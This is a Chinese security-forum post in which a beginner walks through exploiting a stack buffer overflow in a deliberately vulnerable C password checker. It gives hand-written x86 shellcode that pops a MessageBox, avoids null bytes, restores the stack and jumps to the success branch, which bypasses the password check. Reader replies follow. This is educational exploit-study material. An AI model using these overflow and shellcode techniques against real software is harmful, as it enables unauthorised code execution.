吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 28174|回复: 104
收起左侧

[漏洞分析] 漏洞学习第一课

  [复制链接]
cagebird 发表于 2017-7-21 16:39
本帖最后由 cagebird 于 2017-7-21 16:56 编辑

本人菜鸟,最近开始学习漏洞分析,看了几个视频,其中给了一个溢出漏洞的小程序,编写溢出漏洞弹出messagebox对话框,但是运行完对话框程序就崩溃了,本人就想着多写点东西,令程序运行正常。此为原因,想着写篇文章,既帮我理清思路,也方便以后可回顾看看,同时也能给网站比我还菜的鸟一点启发。
[Asm] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include <stdio.h>
#include <windows.h>
 
#define PASSWORD "1234567"
 
int verify_password(char *password)
{
        int authenticated;
        char buffer[44];
        authenticated = strcmp(password,PASSWORD);
        strcpy(buffer,password);  //溢出就在这里
        return authenticated;
}
 
void main()
{
        int valid_flag =0;
        char password[1024];
        FILE *fp;
 
        LoadLibrary("user32.dll");
 
        if (!(fp=fopen("password.txt","rw+")))
        {
                exit(0);
        }
        fscanf(fp,"%s",password);
 
        valid_flag = verify_password(password);
 
        if (valid_flag !=0)
        {
                printf("incorrect password!\n\n");
        }
        else
        {
                printf("Congratulation! You have passed the verification!\n");
        }
        fclose(fp);
        getchar();
}

溢出漏洞在这里:
char buffer[44];
authenticated = strcmp(password,PASSWORD);
strcpy(buffer,password); //溢出就在这里
return authenticated;
通过给函数中变量赋值,使buffer【44】写入44内存,再4个覆盖authenticated变量(检测真假验证码是否一样),再4个覆盖PUSH EBP中的ebp,再4个覆盖返回地址,让返回地址改为buffer【44】的代码开始地址。
buffer【44】就是我们需要弹出对话框的代码,messagebox的四个参数push及调用,视频中只给到这一步,弹出对话框后程序崩溃,弹出对话框的代码也就是在password记事本中存入的东西。
messageboxa计算地址如下:763E0000+0005EA11

user32.png 函数地址.png
[Asm] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
0040DFA3    33DB            xor ebx,ebx                                ;使ebx为0
0040DFA5    53              push ebx                                ;字符串的/0结束标志
0040DFA6    68 70707070     push 70707070                        ;弹出的字符串
0040DFAB    68 71717171     push 71717171                       
0040DFB0    8BC4            mov eax,esp                                ;堆栈中的字符串地址
0040DFB2    53              push ebx                                ;对话框的样式,可为空null
0040DFB3    50              push eax                                ;对话框标题,push的字符串
0040DFB4    50              push eax                                ;对话框文本,push的字符串
0040DFB5    53              push ebx                                ;句柄,可为空null
0040DFB6    B8 11EA4376  mov eax,7643EA11  ;将messagebox地址给eax
0040DFBB    FFD0            call eax                                call调用函数MessageBoxA(HWND hWnd,LPCTSTR lpText,LPCTSTR lpCaption,UINT uType)


返回地址为堆栈返回地址上面的buffer【44】的代码开始地址。
堆栈地址.png
password填写我们的代码十六进制。
弹出对话框如下.png
可以看到0012FAB4    即为我们的入口地址,将此地址覆盖返回地址。弹出对话框如下:

原因为我们弹出对话框后没有指向main函数中提示密码输入正确的地址,00401133。我们可以在后面的代码加上跳转指令,jmp 00401133,但是代码不能有00这种/0字符,不然strcpy(buffer,password)函数将截取00前字符,后面的字符不会复制过去,以及覆盖返回地址的地方也不会覆盖。00怎么办呢?可以mov eax,(跳转地址),      jmp eax,怎么使eax为00401133且不出现00呢。
我想了一种方法:
[Asm] 纯文本查看 复制代码
1
2
3
4
5
6
7
004011B8    8BC3            mov eax,ebx
004011BA    B4 40           mov ah,40
004011BC    B3 10           mov bl,10
004011BE    F7E3            mul ebx
004011C0    F7E3            mul ebx
004011C2    66:B8 3311      mov ax,1133
004011C6    FFE0            jmp eax

将EAX,EBX赋值0,将eax=4000,乘以16即为左移4位,执行两次就行,eax低位ax=1133即可,再跳转,左移指令因为有00连在一起会复制字符串失败。但是加上代码,仍没有跳转到正确地址,原因为我们的代码在esp附近,执行中被覆盖了,我们就将esp-60,以防shellcode被改。但是int verify_password(char *password)函数结尾处有一个函数会改变shellcode
地址.png
使2C位置开始的4个字节更改,此前代码必须结束,但空间有限,检查前面代码有没有可简化的。
[Asm] 纯文本查看 复制代码
1
2
3
004011BC B3 10 mov bl,10
004011BE F7E3 mul ebx
004011C0 F7E3 mul ebx
可改为
[Asm] 纯文本查看 复制代码
1
2
0012FAD5    B7 01          mov bh,01
0012FAD7    F7E3            mul ebx

1.png
可以看到此时跳转到了注册成功,但程序出错,原因是堆栈未平衡,EBP值被更改(正巧EDI的值与以前ebp相等),堆栈加上值保持和调用函数前一样就行,我们减掉了60H,又3个push,就需要add esp,6C。但是shellcode可写空间不够了,那么就把对话框提示字符串去掉一个PUSH。
[Asm] 纯文本查看 复制代码
1
2
0012FAE6    8BEF            mov ebp,edi                             ; mov ebp,edi
0012FAE8    83C4 6C         add esp,6C

最后检验一下成功了,不仅弹出对话框,而且转到正确密码提示,后面程序运行也正常了。截个图::
00.png 11.png
第一次发文章,图片不知道咋回事在下面出现了,真麻烦,不过最后感觉还好,最后附上.C文件和password文本,不足之处请大家批评指正。
00.png
11.png
错误.png
代码执行地址.png
弹出对话框.png

Desktop.zip

776 Bytes, 下载次数: 14, 下载积分: 吾爱币 -1 CB

代码和密码文本

免费评分

参与人数 21威望 +1 吾爱币 +28 热心值 +20 收起 理由
specter + 1 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
粉藍弟 + 1 + 1 谢谢@Thanks!
harygary + 1 + 1 热心回复!
ducd + 1 + 1 感谢您对吾爱破解论坛的支持,吾爱破解论坛有你更精彩
寒蝉鸣泣之时 + 1 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
ptlantu + 1 + 1 谢谢@Thanks!
leo_zch + 1 + 1 谢谢@Thanks!
ysz + 1 + 1 热心回复!
liqz168 + 1 + 1 用心讨论,共获提升!
siuhoapdou + 1 + 1 谢谢@Thanks!
maskuang + 1 + 1 看不大懂,可能是自己的知识有限,先顶帖再回味。
wentwent + 1 + 1 谢谢@Thanks!
viply + 1 + 1 已答复!
Gh0stRo2kie + 1 + 1 用心讨论,共获提升!
Hmily + 1 + 10 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
jerry0512 + 1 + 1 用心讨论,共获提升!
MXWXZ + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
溪涧 + 1 + 1 用心讨论,共获提升!
su0081 + 1 热心回复!
yiyun2010 + 1 热心回复!
adq_cq + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!

查看全部评分

本帖被以下淘专辑推荐:

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

kernel 发表于 2017-7-21 17:39
调试是什么意思啊?    需要编程?    而且与标题有什么关系啊?

点评

这个是教你如何找程序内部的漏洞。  发表于 2017-7-22 13:24
hanlei 发表于 2017-7-22 13:31
kernel 发表于 2017-7-21 17:39
调试是什么意思啊?    需要编程?    而且与标题有什么关系啊?

同城有机会交流一下技术
Nalu 发表于 2017-7-21 16:56
 楼主| cagebird 发表于 2017-7-21 16:57
Nalu 发表于 2017-7-21 16:56
得知楼主发帖,特地前来膜拜下

第一次发帖你就知道{:1_931:}
Nalu 发表于 2017-7-21 17:05
cagebird 发表于 2017-7-21 16:57
第一次发帖你就知道

有点小尴尬哈哈哈哈,楼主慧眼
安全 发表于 2017-7-21 17:37
大神,膜拜,虽然看不到
ezerone 发表于 2017-7-21 17:43
虽然不懂,膜拜一下
大风起8 发表于 2017-7-21 18:02
学习学习
eoo 发表于 2017-7-21 19:32
学习学习
仁仕 发表于 2017-7-21 20:29
好厉害啊!
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2025-4-3 01:49

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表